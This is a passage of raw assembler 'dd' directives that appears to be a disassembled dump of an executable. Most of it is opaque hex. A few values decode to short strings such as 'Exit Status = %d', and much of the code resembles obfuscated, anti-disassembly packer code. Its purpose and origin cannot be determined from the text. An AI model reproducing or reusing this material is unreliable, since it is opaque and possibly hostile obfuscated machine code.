		dd 0F5E36963h, 96EFFE41h, 0B99D8B60h, 0E806072Fh, 5, 583DD979h
		dd 0E1BD01FBh, 5E060708h, 0BD29AC61h, 6070DD9h,	9D29C932h
		dd 6070991h, 8531C1FEh,	60730F5h, 830FD0D0h, 0A3h, 0F9B70F60h
		dd 5E9h, 983A5400h, 0D061FB19h,	8C830FD0h, 9000000h, 714218Dh
		dd 0FD0D006h, 7E82h, 0D0D0F900h, 75820Fh, 9D090000h, 6071ED9h
		dd 890FC9FEh, 0FFFFFFBCh, 20C483F8h, 2444C7F5h,	0FCh, 0E860FC00h
		dd 0Dh,	0A253B878h, 7C883645h, 22523922h, 25B58BBFh, 5E060714h
		dd 1B861FCh, 60000000h,	0F2B70F60h, 0BF9BD89h, 66610607h
		dd 75C3E081h, 68C0F61h,	89000000h, 71BC19Dh, 688D8D06h
		dd 0E906076Dh, 7, 9BD4253Ch, 0FF8347DAh, 0CD9589E1h, 0C606070Bh
		dd 72C0585h, 10E90006h,	0F8000000h, 77D4F147h, 53D2BA18h
		dd 0A089139Ch, 6199D673h, 3199D89h, 8C20607h, 0FE900h
		dd 58EE0000h, 63A239D2h, 0EF649DB6h, 34AB4C9Ah,	0E96050F3h
		dd 11h,	57EB9E7Eh, 0AD161544h, 5E811A8Bh, 261D9BEDh, 6DBB66FFh
		dd 348961D9h, 11E924h, 0CA00000h, 713D0826h, 568FB3E0h
		dd 5CFC498Eh, 8937BC43h, 74188B5h, 12E906h, 46950000h
		dd 0C7DA1BF2h, 0BC2554F1h, 12D16931h, 3FC3E662h, 0C38D89F8h
		dd 0F060741h, 0B80h, 6E900h, 5F630000h,	26A6044Bh, 4073B58Dh
		dd 60F90607h, 15BDBD2Bh, 0BD290607h, 60730F5h, 0A1858D61h
		dd 60005B8Eh, 3C9958Bh,	85890607h, 6070529h, 0FD0FF61h
		dd 786h, 1890F00h, 0F8000000h, 0BD85015Eh, 8906070Ch, 704DDBDh
		dd 8C0FC306h, 1, 88B58BFCh, 60060741h, 0DE9h, 437DA300h
		dd 4EB6D26Fh, 99884912h, 43BE4485h, 614F5E66h, 41C38D8Bh
		dd 85890607h, 60711FDh,	352BBF60h, 800F47E9h, 5, 22EB8166h
		dd 0B86171h, 0F000000h,	68Fh, 3DB53100h, 8906071Bh, 72C0985h
		dd 29D98B06h, 713598Dh,	9DE906h, 32F90000h, 61B52926h
		dd 0B2060730h, 6840F02h, 89000000h, 7220195h, 54E906h
		dd 0B5890000h, 6072A71h, 5E9C232h, 75000000h, 6365829Fh
		dd 751D7A05h, 0C1B5318Ah, 8A06070Ah, 0C8D3F9CCh, 0F8B70F60h
		dd 8423561h, 0FEF998D1h, 7890FCAh, 60000000h, 60C88B66h
		dd 13E96161h, 90000000h, 2668DCE9h, 0C615749Ch,	0DA213421h
		dd 43D7A225h, 0D20A68C9h, 0FFAA850Fh, 4BF9FFFFh, 9E9h
		dd 8E8C9600h, 83A40867h, 946F01Ch, 731E1BDh, 9E906h, 6AB00000h
		dd 787B4519h, 0BEBA165h, 5C850FDBh, 0F5FFFFFFh,	8E9CFh
		dd 58700000h, 5B62D9B4h, 0CA33h, 12E9h,	0FC145B00h, 0EC383D79h
		dd 0A77A6C07h, 829B1C5Ch, 0E9947189h, 0Ah, 4E2BB4D2h, 806F812Dh
		dd 922Ah, 1558501h, 6E90607h, 0E5000000h, 0ED8A5031h, 8900000Fh
		dd 7082D95h, 29000006h,	711C18Dh, 24858D06h, 0F506073Bh
		dd 0AAD8589h, 0F9600607h, 594BEFBBh, 858D6159h,	6073FBBh
		dd 17299589h, 85890607h, 6072E75h, 6E8h, 53361E00h, 0F4F8B20h
		dd 684h, 259D0900h, 59060710h, 2529B58Bh, 0C1810607h, 620Ah
		dd 1855BBh, 890F5100h, 2, 8B58C7B0h, 6860F11h, 8B000000h
		dd 71315BDh, 67EA8106h,	66719AB3h, 81E84CBFh, 26F3FDF2h
		dd 0F88B667Ah, 0A1B1F281h, 0C28B0E15h, 83018F52h, 0BD8901E9h
		dd 6070CC5h, 0E8494949h, 13h, 0CFB0FFF0h, 0EC921A22h, 1F2C2221h
		dd 0EBCEC0E2h, 8BF0F627h, 7142DB5h, 0F4B5806h, 1485h, 799D8900h
		dd 0E9060727h, 23h, 0C9EB927h, 0F839A844h, 0ADB503F5h
		dd 0E906072Fh, 0FFFFFF83h, 2E3F743Eh, 52FE7A6Dh, 59F343E1h
		dd 0EBBAAE75h, 14h, 3 dup(0)
		dd 8800h, 86858D00h, 89060743h,	7272585h, 0C7BD8306h, 60742h
		dd 12B840Fh, 85C60000h,	6072C05h, 47C46856h, 3481DF07h
		dd 182AFD24h, 2DB5FF0Bh, 8D06071Bh, 73B2485h, 89D0FF06h
		dd 742BB85h, 585C606h, 5606072Ch, 0D1386C68h, 24048190h
		dd 0BD77FE6h, 1B2DB5FFh, 858D0607h, 6073B24h, 8589D0FFh
		dd 60742BFh, 4E8046Ah, 0
		dd 50000010h, 424448Bh,	4489008Bh, 8B580424h, 742CB85h
		dd 1F40506h, 0E0C10000h, 90509002h, 95FF006Ah, 60742BFh
		dd 42C38589h, 0D88B0607h, 0FFFFFFB8h, 2595FFFFh, 8B060727h
		dd 2595FFC3h, 0E9060727h, 8Dh, 42C7BD83h, 0F000607h, 185h
		dd 8B57C300h, 742C3BDh,	8583AB06h, 60742C3h, 83C35F04h
		dd 742C7BDh, 850F0006h,	1, 0AD8360C3h, 60742C3h, 0C39D8B04h
		dd 83060742h, 0FFFFC7Bh, 2685h,	4E800h,	80000000h, 8B500000h
		dd 8B042444h, 24448900h, 6A5804h, 95FF33FFh, 60742BBh
		dd 1DE9C361h, 68000000h, 0BDB26B3Ch, 0C4240481h, 6A424E14h
		dd 0FF33FF00h, 742BB95h, 0C3AD8306h, 4060742h, 0FFFFA8E9h
		dd 0D3E948FFh, 3D000009h, 0B5C563C6h, 0EA7D410Ah, 4071D123h
		dd 308539F5h, 0E5E4714Ch, 626D5E04h, 95B3A362h,	6075561Eh
		dd 0BEC863E0h, 0F8754D48h, 51228334h, 3FC03EE7h, 95871E07h
		dd 7F79540Eh, 95E1AF63h, 6F73541Eh, 0A4C863E3h,	0E2685248h
		dd 4D3C832Bh, 2BD725F9h, 0A1E47509h, 7F7D4342h,	94B3E272h
		dd 7B734150h, 0A2D163F5h, 0EC685307h, 8D2Bh, 62h dup(0)
		dd 3D000000h, 0BFCC63C6h, 0E26E5D06h, 5A218334h, 33D72DFBh
		dd 0A4E23444h, 697A1111h, 86E1ED63h, 6A724D1Fh,	0BED431A7h
		dd 0EA745D06h, 83FCA66h, 20D025EDh, 0B6F36709h,	22755416h
		dd 8C918E0Ch, 6B6F5915h, 0BED463ABh, 0E97B5B04h, 825CA66h
		dd 3FCA38F2h, 0A8EF7909h, 2C61430Dh, 0C0A5ED67h, 7A6F5D02h
		dd 0F0D531E6h, 0FF6F5B11h, 4723D366h, 3FC438F3h, 7, 47h	dup(0)
		dd 3D000000h, 0A2C263C6h, 0E8715709h, 8228434h,	3ECA25E0h
		dd 0B6EB7C09h, 697D5342h, 8FA7A368h, 2E785605h,	0BECF36F5h
		dd 0AD7D5A01h, 5171CD2Fh, 72D73FFBh, 0B1F96D5Ah, 6365C07h
		dd 85ADD30Bh, 22794B11h, 0BCCF36A7h, 0AD7E5507h, 4E71D72Fh
		dd 72C825E6h, 0AAE77144h, 6D384810h, 92E1E768h,	6F684B15h
		dd 0A98137F5h, 0AD684107h, 4F3ED136h, 7CC82BE6h, 61h dup(0)
		dd 3D000000h, 0B5CD2AC1h, 0FF755748h, 5C21D634h, 7C842EF1h
		dd 0ACE24009h, 7E681111h, 81B3E469h, 6F74181Dh,	0B5C363F4h
		dd 0E03A5A0Dh, 5838CD27h, 26C426E1h, 0A4AA704Ch, 6138550Ch
		dd 85A3FA67h, 7A75357Ah, 0B98130A0h, 0EE7F5206h, 835C632h
		dd 338533F6h, 0B7E34209h, 63384217h, 92A2A374h,	6B775B11h
		dd 84816DE3h, 0AD695D00h, 4D3DCA20h, 3CCA3DB4h,	0B2AA600Eh
		dd 2C73430Dh, 8DB8ED67h, 20794A1Fh, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 0DDE90000h, 6A000028h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 2C0FC351h, 5297B7DAh
		dd 3880Fh, 0B70F0000h, 8BFC5AD3h, 71D6D9Dh, 89C08B06h
		dd 72499B5h, 0F5BD8306h, 6070Fh, 0BD830975h, 6073001h
		dd 50137400h, 0B8C08B53h, 1, 0AB499D8Dh, 0D3FF0609h, 0BD83585Bh
		dd 6073001h, 50117400h,	1B853h,	9D8D0000h, 609A9FAh, 585BD3FFh
		dd 13DDBD89h, 0D08A0607h, 26619589h, 0C08B0607h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D3C35040h, 5307B92Eh
		dd 0B63E27E3h, 659D8B75h, 83060725h, 71101BDh, 840F0006h
		dd 1B9h, 61CB8166h, 19BD83DAh, 6070Ah, 1A7840Fh, 0AE90000h
		dd 0B7000000h, 3F8BB0FBh, 0A631433Fh, 8BF86009h, 70A1985h
		dd 0CE906h, 0B6380000h,	717E6914h, 96037DE3h, 0E8051941h
		dd 0F000003h, 38Ah, 51C78000h, 66605650h, 5A61CA8Bh, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0DC1AC351h, 31407533h, 71C919Dh, 0F606006h
		dd 8D09C3B7h, 60706C1h,	858D6161h, 6074DD3h, 175D8589h
		dd 50F50607h, 89D68B66h, 9D892404h, 60708D9h, 0D119523h
		dd 858D0607h, 6074DB1h,	0B79001B3h, 0CFBA5087h,	90530DFFh
		dd 95FFD18Bh, 6072B69h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 3AC35242h, 0AC96643Eh, 85422482h, 83D08B66h
		dd 6A0CC4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 1EC72C3h,	0FD8765EEh, 0E9533591h,	14h, 66995B00h
		dd 73A8D9Ah, 36998BDAh,	4F20B774h, 0F14443E4h, 0B1858D5Ah
		dd 6A06074Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0DDBEC356h, 8BC5EFD5h,	72DDD95h
		dd 90D08A06h, 505096B6h, 0AE95752h, 8C000000h, 66A12667h
		dd 7DB727D2h, 310F5A8Fh, 8B665250h, 0B2310FD6h,	5A585A77h
		dd 95899058h, 6070FC1h,	26ADA8Ah, 36D8D01h, 95FF0607h
		dd 6AED14h, 53C7BA66h, 51006A61h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 75F652A5h, 0E485C7B5h
		dd 106074Dh, 57000000h,	32D59589h, 505A0607h, 73B1BB66h
		dd 8B243489h, 95B589D8h, 6A06074Dh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0DC28C352h
		dd 0CFAA8EF9h, 0B350BB7Ch, 0BD835B7Ch, 607218Dh, 26850F01h
		dd 8B000000h, 71B319Dh,	5F88306h, 17850Fh, 0B80000h, 9000000h
		dd 71FB9BDh, 6870F06h, 31000000h, 71F5995h, 6DBD8306h
		dd 60722h, 1B840Fh, 60F80000h, 83D9D8Bh, 95FF0607h, 607226Dh
		dd 17359D31h, 8B610607h, 72E799Dh, 61BD8306h, 60725h, 4D840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 6AD111C3h, 0CB507820h, 89702604h,	701BD8Dh
		dd 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 602935C3h, 858BD68Bh, 60706DDh
		dd 0B15958Bh, 0C0830607h, 39B58902h, 89060726h,	74D8D85h
		dd 0BD896006h, 6072649h, 111D9D8Bh, 3610607h, 707F19Dh
		dd 0FF00C606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	87C35747h, 0DE77EA99h, 0CC25E4D9h, 0DDBD89EEh
		dd 0C6060726h, 72C0585h, 6A5306h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0D8053CC3h, 0CB8173E2h
		dd 11940B24h, 0E6E08060h, 61D1BF0Fh, 7AA768FCh,	0BB66CD25h
		dd 34815141h, 94327F24h, 0ADB5FF31h, 8B060731h,	7168195h
		dd 1F858D06h, 6A060A7Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 1041C355h, 886CBD13h
		dd 26F9BD01h, 8B600607h, 0A5C181F9h, 610FD38Dh,	0F3B7D0FFh
		dd 16B58589h, 55BA0607h, 832F4309h, 710A1BDh, 850F0106h
		dd 137h, 26F58D29h, 81610607h, 0E89A3E2h, 585C629h, 4506072Ch
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 69C35242h
		dd 0E8EB6847h, 4, 0DA6038C2h, 0E850D08Bh, 13h, 56FCBB8Ah
		dd 7B9223EDh, 82423B1Fh, 1EE9C2EAh, 5A451E2Eh, 424448Bh
		dd 5AF38A52h, 0FE8008Bh, 0A2000000h, 0CB1D1EB6h, 1434CE13h
		dd 0ED52F287h, 0B9B6E167h, 2444895Bh, 0BB665204h, 585ABFD7h
		dd 85F9BB66h, 31ADB5FFh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 7D37CEC3h, 3C41430Fh
		dd 0C7807BC2h, 11E858h,	0A03A0000h, 13BE62FAh, 4A33DB73h
		dd 0A9965BD7h, 66E266F1h, 0A93FEB81h, 1F858D5Ah, 0BA060A7Bh
		dd 1C4F81CFh, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0A35E1FC3h, 6850Fh, 8D290000h, 6070345h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 8D89F8C3h, 60719A1h, 820FD0FFh, 3, 83F6E780h
		dd 71501BDh, 850F0106h,	105h, 5B5EB756h, 6DD858Bh, 6A0607h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8D89E3C3h, 6071689h,	0C1E9FCh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0F51FBC3h
		dd 1989h, 14E900h, 9E650000h, 4A3F7000h, 0BEE8F3Bh, 0DE35381Ch
		dd 0BBA5CB8Fh, 295B9721h, 72E09BDh, 0D7BF0F06h,	0C8BA6690h
		dd 41B250D4h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0D79868AEh, 8D899A99h, 6071BF5h
		dd 8A0F146Ah, 4, 0B8CCBB66h, 16B595FFh,	0C2800607h, 6A58BCh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 400F64C3h, 43EEF723h, 60828196h, 1CFDBD8Bh, 23B40607h
		dd 0C9958B61h, 8006070Ch, 850F0038h, 0FFFFFF7Ch, 278476BBh
		dd 100C64Bh, 8D0961F5h,	6070E7Dh, 2DDBD83h, 0F000607h
		dd 3A84h, 0AFBB6600h, 0FFF6AADh, 95FFDABFh, 60716B5h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 44C35646h, 0D78B66F9h
		dd 0FFFFD0E9h, 0ADBD31FFh, 0C706071Eh, 702DD85h, 106h
		dd 66BB6600h, 998589DAh, 8006074Dh, 8A5027F6h, 240489DDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 6AC35040h
		dd 0FC3BE15Ah, 0CB8166D6h, 23604149h, 70E3D85h,	0E5858B06h
		dd 61060709h, 9FBA6660h, 0E8056A33h, 13h, 0DB1A25C2h, 2246C578h
		dd 0D344956Bh, 0A9BA09DFh, 6694AF4Dh, 8D5ADE8Bh, 74DB185h
		dd 0FD952306h, 5006070Ah, 0D5DFBB66h, 0F240489h, 858DDABFh
		dd 6074DA1h, 0B1958B50h, 5A06072Eh, 28B0F50h, 8A000000h
		dd 240489F9h, 0D95FFFCh, 6A060732h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 34B0C352h
		dd 448D8D26h, 80060776h, 0C00B5BC7h, 858D1174h,	6074DB1h
		dd 89D1FF50h, 74DCF85h
		dd 0C70AEB06h, 74DCF85h, 0FFFFFF06h, 7E8FFh, 856B0000h
		dd 5F48674Eh, 6A5B86h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0FC2843C3h, 0F70498BBh, 0B7BB6657h
		dd 6A6197h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0EE808CC3h, 0D38B537Ah, 585C65Bh,	4D06072Ch
		dd 4E8F9h, 76A80000h, 0D68BA435h, 24448B50h, 26BA6604h
		dd 8A008BBCh, 244489F0h, 10E804h, 0B3340000h, 64AF9D83h
		dd 0E5E9DBF1h, 58A12009h, 0BE80C4Fh, 37000000h,	5B71C665h
		dd 0A0E9DCB8h, 52508393h, 585A310Fh, 29585B5Bh,	725518Dh
		dd 6850F06h, 89000000h,	72AC18Dh, 0B1B5FF06h, 0F060713h
		dd 382h, 0D78B6600h, 7B1F858Dh,	880F060Ah, 0
		dd 0EE80D0FFh, 0B98589E3h, 8B06071Bh, 716F59Dh,	0A98D8906h
		dd 0C6060728h, 72C0585h, 0C3814506h, 1CBBA45Bh,	0A330E068h
		dd 81D98A18h, 38892404h, 6A75CFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 4227B7C3h, 9B76FEB6h
		dd 0ADB5FF4Ch, 3060731h, 70FAD9Dh, 1F858D06h, 66060A7Bh
		dd 0FFB2FABAh, 5E8D0h, 2B950000h, 66860889h, 5B436BBBh
		dd 8589FFB3h, 60707D1h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 0A2C35040h, 9589B0C6h, 6071669h, 8166D28Bh
		dd 66C376F3h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 3D5409C3h, 8B77FDA5h, 0D1BD89DFh
		dd 0F6060715h, 840F04C1h, 23Ah,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0A5C35141h,	0E0800534h, 0E950DDE8h
		dd 9, 68D51C96h, 59B5E3A9h, 1CE95A57h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0E578C352h, 0B719509h, 0B58B0607h, 6072FBDh,	1AF5958Bh
		dd 0C6810607h, 1180h, 0D733A5BBh, 6DBD833Eh, 60712h, 27850Fh
		dd 0E3800000h, 0C5E990h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 7E523DC3h, 3E8324h, 9D840Fh
		dd 0EE90000h, 0DC000000h, 749C2668h, 3421C615h,	0A225DA21h
		dd 0BD2960D7h, 607089Dh, 6A146Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 958B9AC3h, 6070029h
		dd 16B595FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 135E8FC3h, 30A67613h, 8B9DCEDAh
		dd 71D8995h, 6A6106h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0D0BBEEC3h, 6F1C7007h, 0E9887B35h
		dd 0FFFFFF5Dh, 0C7D88B66h, 106h, 83FD8A00h, 74D99BDh, 850F0506h
		dd 0DAh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 16h,	7FC35242h, 83B31A09h, 7B5B589h,	0B58B0607h, 60707D1h
		dd 2D8ACB81h, 64B969F6h, 0E9000000h, 11h, 5FE8925Eh, 0BCCB066h
		dd 805DE26Ah, 276EB1C8h, 0E83E8003h, 0E840Fh, 8B660000h
		dd 1CE9D1h, 958B0000h, 60709F1h, 0C2057E80h, 5A840Fh, 95890000h
		dd 6070401h, 7D27CA81h,	6A464D2Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0F018C350h
		dd 0B1B3A269h, 66533567h, 5A544CBBh, 816624B6h,	49C31DEAh
		dd 0FF9B850Fh, 8B66FFFFh, 20E9D9h, 8B0F0000h, 8, 31958B50h
		dd 5A060732h, 2D55B589h, 810F0607h, 6, 2649950Bh, 89580607h
		dd 7146D95h, 5BD8306h, 60732h, 0C3840Fh, 0B5090000h, 6070951h
		dd 0C6DF8B60h, 72C0585h, 95015406h, 6070CA5h, 0C6DF3268h
		dd 0D98B66E7h, 0C2240481h, 8A1787DFh, 0B5FFFCDCh, 60731ADh
		dd 8D13EA80h, 0A7B1F85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 439751B6h, 0DF8BD0FFh
		dd 0F98A006Ah, 3205B5FFh, 0BD890607h, 6070B9Dh,	148D9D01h
		dd 0D0FF0607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0DFC35545h, 64FD0041h, 2D95894Fh, 51060715h, 4BBFBB66h
		dd 6A615Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0DC9B26C3h, 46AF8FE2h, 0E585C734h, 1060710h
		dd 60000000h, 0FF5BA66h, 11D13168h, 11E9E2h, 47170000h
		dd 0B708D0F6h, 0C9F86DD4h, 9A7F9187h, 81AA87FCh, 2F4F2404h
		dd 6E91DEEh, 0D1000000h, 73A998AAh, 6A8DB309h, 0FFB4B3FFh
		dd 7206995h, 18D8906h, 61060701h, 1F7D9589h, 0BB900607h
		dd 4BC2EC2Ah, 5ABA6650h, 9D8B9000h, 6071B51h, 2635858Bh
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 834684C3h, 21F04046h, 6830F3Eh, 8B000000h
		dd 7027195h, 0FC00B06h,	0F84h, 90BA6600h, 3195FF56h, 66060706h
		dd 31C2CA81h, 144D85C7h, 10607h, 83F90000h, 70D15BDh, 840F0006h
		dd 2Eh,	60DBD89h, 95FF0607h, 6071045h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0D4C35141h,	29224C83h, 0BD83F574h
		dd 60725FDh, 16840F00h,	89000000h, 70BDD95h, 0EE60BA06h
		dd 95FF2F48h, 6072FE9h,	0C5DB8166h, 0B5BD8344h,	60715h
		dd 4D840Fh, 9D330000h, 60731B5h, 3171BD83h, 0F000607h
		dd 3A85h, 0DD958B00h, 0FF060727h, 7324D95h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0BE252EE7h, 1001368Ch, 8B0F5A53h, 3,	83DFBF0Fh, 73245BDh
		dd 840F0006h, 37h, 15F99D8Bh, 0DB810607h, 18FFC7AFh, 9D58581h
		dd 40030607h, 830F0000h, 3, 81D08B66h, 7265D85h, 400306h
		dd 9D8B6000h, 6070BFDh,	0E51B501h, 0F610607h, 8DD08B31h
		dd 75C528Dh, 0D2BF0F06h, 9D8B0189h, 6070BB5h, 6AC233h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0FFF415C3h, 3A827294h, 56044189h, 17518D29h,	0F5B0607h
		dd 310FDFB7h, 2E25BD01h, 81660607h, 8D8B1CD3h, 75C658Dh
		dd 919D8B06h, 8B060706h, 721F59Dh, 9018906h, 721E98Dh
		dd 0DFB70F06h, 0D68BC233h, 8B044189h, 7020D95h,	5BD8306h
		dd 60706h, 21840Fh, 0D6800000h,	9995FFACh, 0E906070Dh
		dd 7, 74C00873h, 0F6E37A9h, 68Eh, 0CD958B00h, 83060711h
		dd 71265BDh, 850F0106h,	4Fh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 23C35747h, 5BBA5E99h, 0E977F4AFh
		dd 27h,	0C7CA8166h, 59B58B60h, 0C706075Dh, 6, 81B58B00h
		dd 0C706075Bh, 6, 8D89CF00h, 6072E25h, 83DA8B66h, 7144DBDh
		dd 840F0006h, 111h, 5E9h, 0F564F300h, 0BD832D9Ch, 60700E1h
		dd 0D1850F01h, 56000000h, 8D09EFBAh, 12E95B05h,	22000000h
		dd 0E4C1C8B0h, 0C6576DCDh, 297DC1D3h, 946FD55Dh, 8D8D8B22h
		dd 8106074Dh, 0CE7DB3D3h, 15953322h, 0C6060720h, 0D88B0001h
		dd 0E9F98A60h, 6, 7E571567h, 0C768E157h, 6668E5C6h, 3481D18Bh
		dd 0E5C64724h, 0BF0F6068h, 61AAB3D3h, 14E8FF6Ah, 0C8000000h
		dd 73FD89E6h, 9C5ECE1Dh, 9899854Ch, 427D702Eh, 801E0224h
		dd 0FF5B1DEAh, 7206995h, 0B2E4BA06h, 8B610CA8h,	71D0995h
		dd 6595FF06h, 6A060732h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 6678C356h, 8BC0C2CBh
		dd 74D8D8Dh, 0ED9D8B06h, 0FE06072Ch, 7E801h, 6FF20000h
		dd 847FBB2Bh, 0D99D8B94h, 5B060716h, 2735BD83h,	0F010607h
		dd 1C85h, 9E96000h, 2F000000h, 5ED28734h, 0E1286E78h, 6880F61h
		dd 31000000h, 7038D9Dh,	6AC08B06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 85C6C356h
		dd 0BD0941BBh, 60715B1h, 0E46FDA81h
		dd 0BD830EE7h, 6070FF5h, 83097500h, 73001BDh, 1A740006h
		dd 0C08B5350h, 9D5858Bh, 85890607h, 60709D5h, 0ACA79D8Dh
		dd 0D3FF0609h, 0BD83585Bh, 6073001h, 50187400h,	0D5858B53h
		dd 89060709h, 709D585h,	969D8D06h, 0FF0609A9h, 6A585BD3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 2CE2C355h, 0D5BA66F5h, 0D58D8997h, 8B060707h
		dd 0D6BF0FC0h, 144DBD83h, 0F000607h, 1585h, 837CB300h
		dd 72541BDh, 840F0006h,	6, 3199D8Bh, 0BD830607h, 607144Dh
		dd 67840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 60E5C351h, 0DE9D4h
		dd 315B0000h, 0F4A49B4Eh, 29F058ACh, 83C3CD0Ah,	71715BDh
		dd 840F0006h, 2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 1FC35343h, 53E8E6B9h,	37195C12h, 0F38166DEh
		dd 0BD839751h, 607144Dh, 1F840F00h, 0B7000000h,	0DA8B6678h
		dd 1715BD83h, 0F000607h, 0D84h,	78C0F00h, 56000000h, 44DB8166h
		dd 0BD835B21h, 607144Dh, 1A840F00h, 0B2000000h,	1BD8376h
		dd 6070Dh, 0B840Fh, 6E90000h, 0C5000000h, 3C8501C5h, 4DBD83A6h
		dd 60714h, 49840Fh, 0C6800000h,	95BD8314h, 60712h, 39840Fh
		dd 0B5890000h, 60727ADh, 1B6995FFh, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A4880EC3h
		dd 0DE3D2F03h, 805DAC87h, 0C1BB9EDFh, 8B757AB1h, 2D9589C0h
		dd 81060705h, 0FE1D3CF3h, 0F5BD8379h, 6070Fh, 0BD830975h
		dd 6073001h, 501A7400h,	8BC08B53h, 7265D85h, 5D858906h
		dd 8D060726h, 9AD0E9Dh,	5BD3FF06h, 1BD8358h, 60730h, 53501874h
		dd 265D858Bh, 85890607h, 607265Dh, 0A9AF9D8Dh, 0D3FF0609h
		dd 8C0F585Bh, 6, 0C1D958Bh, 6A0607h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0D9D0EDC3h
		dd 9962B7D6h, 8B244BBFh, 70BDD9Dh, 0E9C08B06h, 0Bh, 0A8B807C8h
		dd 676B446Dh, 831D449Fh, 7144DBDh, 840F0006h, 2D7h, 0E4D958Bh
		dd 0BD830607h, 60710A1h, 14840F02h, 66000000h, 839EEEBAh
		dd 71265BDh, 850F0106h,	3, 60DF8B66h, 0DE8h, 0BE464900h
		dd 73687FAFh, 0F1A4C69Eh, 0D98AD31Bh, 8D8D8B5Ah, 0F06074Dh
		dd 1FED6B7h, 68D2BF0Fh,	0C383D0FAh, 0F682BAh, 2404812Dh
		dd 3C7C2F86h, 0B6D08B66h, 6AFF6A92h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0DCE1C353h
		dd 8822A560h, 0FE8h, 0EAB45300h, 742C1184h, 26ABD6E5h
		dd 94AD292Dh, 118B0Fh, 0BE80000h, 15000000h, 0C9806460h
		dd 0E25B53FFh, 5B5A3A64h, 206995FFh, 5E90607h, 0C2000000h
		dd 0D831FDE7h, 3DC28061h, 0EE9h, 0B9BCED00h, 3605FA95h
		dd 34644448h, 8D66B6BAh, 724C9BDh, 0DD9D8B06h, 8B060715h
		dd 8B0F1C4Fh, 5, 0F38166h, 89016AC7h, 712A985h,	8E0F5006h
